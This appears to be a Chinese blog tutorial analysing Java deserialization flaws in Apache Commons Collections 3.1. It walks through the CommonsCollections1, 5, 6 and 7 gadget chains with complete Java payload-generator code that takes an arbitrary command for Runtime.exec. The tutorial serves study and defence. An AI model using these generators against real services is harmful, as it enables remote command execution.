Java 反序列化漏洞始末(1)— Apache Commons

序列化

要了解反序列化漏洞,首先要对java的序列化有一定的了解。

java 可以将一个对象序列化成 JVM 认识的字节序列,这个字节序列里包含了该对象的数据,主要以对象属性为主。

当你再 A 平台序列化出的对象,在 B 平台上反序列化出来同样的对象。

序列化一个对象

被序列化的类必须要实现 Serializable 接口,否则将无法序列化对象。

public class Person implements Serializable{

    public String name;
    public int length;

}
public class Main {

    public static void main(String[] args) throws IOException {

        Person person = new Person();

        person.length = 18;
        person.name = "blue";

        PrintStream out = System.out;

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(out);
        objectOutputStream.writeObject(person);
        objectOutputStream.flush();
        objectOutputStream.close();

    }

}

序列化对象时使用对象输出流“ObjectOutputStream”,往指定输出流里写入 person 对象,这里我用的是控制台,可以直观的看到对象序列化后的样子。

1561455117(1).jpg

simple.Person  Ɨ       I  lengthL  namet  Ljava/lang/String;xp    t  blue

这堆“乱码”就是序列化的内容了,懂 Java 的人可以看出来除了,类名,属性,和属性值以外还有 JNI 字段描述符,一眼基本上可以看出个大概来。

反序列化

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/6/25 17:15
 */
public class Main {

    public static void main(String[] args) throws IOException, ClassNotFoundException {

        Person person = new Person();

        person.length = 18;
        person.name = "blue";

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(person);//序列化对象
        objectOutputStream.flush();
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject(); //将byte数组输入流反序列化

        System.out.println(o);


    }

}

为保证完整性,这里我将对象序列化成byte数组。再用“ObjectInputStream”反序列化回来。

1561455810(1).jpg

输出这个反序列化后的对象,和我们一开始给 person 对象设定的属性值完全一样。

其实在最后 readObject() 那一步调用的同时,会调用 person 对象的 readObject() 方法。

public class Person implements Serializable{

    public String name;
    public int length;

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", length=" + length +
                '}';
    }

    private void readObject(java.io.ObjectInputStream in)throws IOException,ClassNotFoundException
    {
        Runtime.getRuntime().exec("calc");
    }

}

Person 类写一个 readObject 方法上去,当对象被反序列化的时候,该方法就会被调用。

漏洞在哪儿?

理论上来说这样并不能构成漏洞,因为你序列化的仅仅只是对象的属性,并不能控制方法里的代码。那漏洞从何而来?

这里就要讲一下大家在总结 Java 反序列化漏洞时经常举的例子 “commons-collections-3.1反序列化漏洞”

这是 Apache 的一个开源工具包,被很多项目所依赖,如果使用了这个版本的 jar 包,正好又有反序列化漏洞,那就可以做到任意命令执行。

commons-collections-3.1反序列化漏洞

老规矩,先复现,再分析。

复现

    <dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

使用 maven 下载依赖。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/6/25 17:11
 */
public class SerRce  {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");

    }

}

管他看懂看不懂,先执行一遍再说。

1561457316(1).jpg

在 exec 方法处下个断点,可以看到调用栈。

分析

从上面的代码得知,是因为最终遍历了“outerMap”这个Map对象的 Entry 集合,然后执行了 Entry 对象的的 setValue 方法导致执行了反射链。

所以先看这个 Map 的实现类 。

文中调用了一个静态方法org.apache.commons.collections.map.TransformedMap#decorate,这个静态方法又去new了一个TransformedMap对象。map传入的是一个普通的数据,valueTransformer则是构造的调用链。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

TransformedMap是一个 Map 接口实现类。它继承了AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator 继承了 AbstractMapDecorator ,最后实现 Map 接口。

对象被实例化成功后,依次又调用了4个方法

  • entrySet()
  • iterator()
  • next()
  • setValue()

先来看 entrySet() 方法,TransformedMap类没用,所以去父类里找。

public Set entrySet() {
        return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
    }

这里去new 了一个内部类 org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.EntrySet#EntrySet

EntrySet类中有一个iterator方法,也就是第二步被调用的。

public Iterator iterator() {
            return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
        }

这里又new了一个内部类org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.EntrySetIterator#EntrySetIterator

这个类里的 next() 方法,也就是第三步被调用的。

同样,又new了一个内部类org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry

里面有最后一步被调用的 setValue() 方法。

static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);
        }
    }

setValue 的第一行去调用了 checkSetValue 方法。

实际上调用的是 org.apache.commons.collections.map.TransformedMap#checkSetValue

    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

这里去调用了 valueTransformer属性的 transform()方法。

valueTransformer 正是我传入的调用链。

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

在这部分代码中,transformerChain 变量就是我的调用链。

它在构造方法里传入了一个Transformer类型的数组,这个数组里包含了 ConstantTransformerInvokerTransformer 两种类型的对象,他们均实现了 Transformer 接口。

现在来看 transformerChaintransform 方法

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这里循环调用数组每一个对象的transform方法,并传入object对象,再将执行结果赋值给object对象。

调用链中InvokerTransformer这个类同样实现了transform方法

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

意思就是把构造参数传进来的方法名、参数类型、参数值,通过反射去调用一遍。

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

所以这段代码意思就很明了了。

就是通过反射去调用Runtime.getRuntime().exec("calc.exe")

总结一下,这个对象是可以被反序列化,但并不会在反序列化时触发调用链,而是要经过迭代器迭代并且使用 setValue() 方法才行,正常情况下基本不会有这种场景。

不过既然被爆存在漏洞,一定有解决办法。

网上给出的办法是使用 JDK 的 sun.reflect.annotation.AnnotationInvocationHandler 类。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            return;
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

他的 readObject 方法里去遍历的 memberValues 这个成员变量,并且需要被调用的方法通通被调用了。

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }

不过由于这个类是被保护的,所以需要用反射的方式来实例化。

最后给出完整代码。

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/6/25 17:15
 */
public class Main {

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "value");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(instance);//序列化对象
        objectOutputStream.flush();
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject(); //将byte数组输入流反序列化
        System.out.println(o);


    }

}

1561523366(1).jpg

这里需要注意的一点是,这个地方对jdk 1.7 有效,jdk1.8 就没有执行。

原因是 jdk1.7 和 jdk1.8 AnnotationInvocationHandler 的 readObject 方法不同。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

对比会发现最主要的 setValue 方法没有被调用。

给 jdk 1.8续命

通过 Java 反序列化 Payload 生成神器 ysoserial 测试发现。

CommonsCollections5 CommonsCollections6 CommonsCollections7 是可以在 jdk 1.8 上执行命令的

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    Requires:
        commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager

在 CommonsCollections5 payload生成类中有这样一段注释。

上面标明了 Gadget 链,需要包含的依赖,和 JDK 版本。

CommonsCollections5

这个 payload 主要用到了 JDK 的 BadAttributeValueExpException 异常类。

我先给出我用来生成 payload 的代码。

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/6/25 17:11
 */
public class SerRce  {

    public static BadAttributeValueExpException getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);
        Class<? extends Transformer> aClass = transformerChain.getClass();

        Field iTransformers = aClass.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);

        return val;
    }

    public static void main(String[] args) throws Exception {

        BadAttributeValueExpException calc = getObject("calc");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(calc);//序列化对象
        objectOutputStream.flush();
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject(); //将byte数组输入流反序列化


    }

}

这个漏洞是在 LazyMap 的 get() 方法被调用时触发的。

先来尝试运行一个 demo

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "value");

        Map lazyMap = LazyMap.decorate(map, transformerChain);
        lazyMap.get("foo");

前面的调用链没有什么变化,问题出在 LazyMap 上。

这里 org.apache.commons.collections.map.LazyMap#decorate(java.util.Map, org.apache.commons.collections.Transformer) new 了一个 LazyMap 对象。

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key); // 这是重点
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

它的 get() 方法在 map 中不包含参数 key 时会去调用 factory 工厂变量的 transform() 方法,开始了调用链执行。

漏洞产因知道了,触发条件就是自动调用 LazyMap.get()。

正好 org.apache.commons.collections.keyvalue.TiedMapEntry 这个类符合条件。

它有一个 map 属性,会在 toString() 、hashCode() 的时候去调用 getValue() 方法,getValue 方法又会去调用 map 属性的 get() 方法。

public Object getValue() {
        return this.map.get(this.key);
}

所以可以这样构造


        final String[] execArgs = new String[] { "calc" };

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

当执行了以下方法时就会被触发

entry.toString();
entry.hashCode();
System.out.println(entry);

这种场景还是很比较常见的,但还是不能完美的做到在反序列化的时候触发。

在 JDK 1.8 的 BadAttributeValueExpException 异常类正好符合所有条件。

看一下他是怎么做到自动触发的。

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

在反序列化的时候 会去调用 valObj 变量的 toString 方法
valObj 是当前对象的 val 属性。

根据我刚才给出的 payload 生成代码,可以构造出一个符合要求的 BadAttributeValueExpException ,当该对象被反序列化时就会自动执行命令。

CommonsCollections6

public static Serializable getHashSet(final String command) throws Exception {

        final String[] execArgs = new String[] { command };

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        f.setAccessible(true);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        keyField.setAccessible(true);
        keyField.set(node, entry);

        return map;

    }


    public static void main(String[] args) throws Exception {

        Serializable calc = getHashSet("calc");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(calc);//序列化对象
        objectOutputStream.flush();
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();

    }

问题出在 HashSet 反序列化的时候。

这个过程就比较繁杂了,我直接放上一个调用栈。

1561536170(1).jpg

之前提到过 TiedMapEntry 这个类一旦被调用了 hashCode 方法就会触发。

是在 put:611, HashMap (java.util) 这里发生的,反序列化时添加数据会对 Key 进行一次 hash 运算,其中调用了 hashCode 方法

CommonsCollections7

CommonsCollections7 也是可以在 jdk1.8 平台上执行的。

这里给出我生成 payload 的代码。

public static Hashtable getHashtable(final String command) throws Exception {

        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{command};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);


        Class<? extends Transformer> aClass = transformerChain.getClass();

        Field iTransformers = aClass.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        return hashtable;
    }

    public static void main(String[] args) throws Exception {


        Hashtable calc = getHashtable("calc");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(calc);//序列化对象
        objectOutputStream.flush();
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();

    }

关键点在 Hashtable ,在 HashtablereadObject 方法里有这样一段代码

for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }

他去遍历了 hashtable 的元素并执行了 reconstitutionPut() 方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {  // 关键代码
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

在 for 循环里的 if 表达式中他调用了 Entry 键对象的 equals 方法

LazyMap 里没有 equals, 所以到了AbstractMapDecoratorequals方法里。

这里他判断如果 equals() 方法传来的对象和当前对象不相等则调用 map 属性的 equals

map 是个 hashmap 它去调用了 abstractMap 的方法

public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key))) //在这一步调用了 lazyMap 的 get 方法
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key); //触发漏洞
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

参考

浅显易懂的JAVA反序列化入门

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。